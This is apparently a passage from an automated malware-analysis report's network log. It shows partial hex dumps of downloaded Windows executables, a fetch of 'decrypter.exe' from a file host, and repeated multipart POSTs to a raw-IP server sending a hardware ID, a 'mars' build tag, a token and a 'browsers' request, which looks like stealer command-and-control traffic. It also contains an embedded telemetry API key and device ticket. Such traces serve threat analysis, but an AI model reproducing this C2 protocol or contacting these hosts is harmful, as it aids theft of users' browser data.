06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 01:13:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 01:13:34 GMTContent-Type: application/octet-streamContent-Length: 3203072Last-Modified: Tue, 12 Nov 2024 00:57:39 GMTConnection: keep-aliveETag: "6732a803-30e000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 19 a9 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 d3 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 d2 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 70 6e 77 70 6d 6c 6c 00 30 2a 00 00 b0 06 00 00 24 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6c 6e 78 6b 76 66 65 00 10 00 00 00 e0 30 00 00 06 00 00 00 b8 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 30 00 00 22 00 00 00 be 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 01:13:54 GMTContent-Type: application/octet-streamContent-Length: 3147264Last-Modified: Tue, 12 Nov 2024 00:10:51 GMTConnection: keep-aliveETag: "67329d0b-300600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d2 00 00 00 00 00 00 00 10 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 30 00 00 04 00 00 91 b8 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 90 05 00 00 00 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 6f 62 68 77 6f 69 73 00 50 2a 00 00 b0 05 00 00 4c 2a 00 00 92 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 61 73 73 75 67 76 6e 00 10 00 00 00 00 30 00 00 06 00 00 00 de 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 30 00 00 22 00 00 00 e4 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 01:14:01 GMTContent-Type: application/octet-streamContent-Length: 1759232Last-Modified: Tue, 12 Nov 2024 00:57:31 GMTConnection: keep-aliveETag: "6732a7fb-1ad800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 70 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 67 00 00 04 00 00 e3 36 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 29 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 61 68 68 79 66 63 00 40 19 00 00 20 4e 00 00 3a 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6a 6e 74 63 72 77 74 00 10 00 00 00 60 67 00 00 06 00 00 00 b0 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 67 00 00 22 00 00 00 b6 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 01:14:11 GMTContent-Type: application/octet-streamContent-Length: 2802176Last-Modified: Tue, 12 Nov 2024 00:56:34 GMTConnection: keep-aliveETag: "6732a7c2-2ac200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 0d fa 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6c 61 70 65 78 79 6f 00 80 2a 00 00 a0 00 00 00 62 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6c 61 67 66 62 6d 64 00 20 00 00 00 20 2b 00 00 04 00 00 00 9c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 a0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /download/web/e0a000c3-418c-4ce9-9bba-affc23d7af8a/decrypter.exe HTTP/1.1Host: cold-eu-fsn-2.gofile.io
Source: global traffic	HTTP traffic detected: GET /d/bcfa72bd-ef57-4519-ad7e-6fc790a80290 HTTP/1.1Host: gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731374273104Host: self.events.data.microsoft.comContent-Length: 7974Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 38 30 38 35 33 45 42 45 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"3A80853EBE592398989009------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"mars------KEGCBFCBFBKFHIECAFCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 2d 2d 0d 0a Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="message"browsers------BFBKFHIDHIIJJKECGHCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 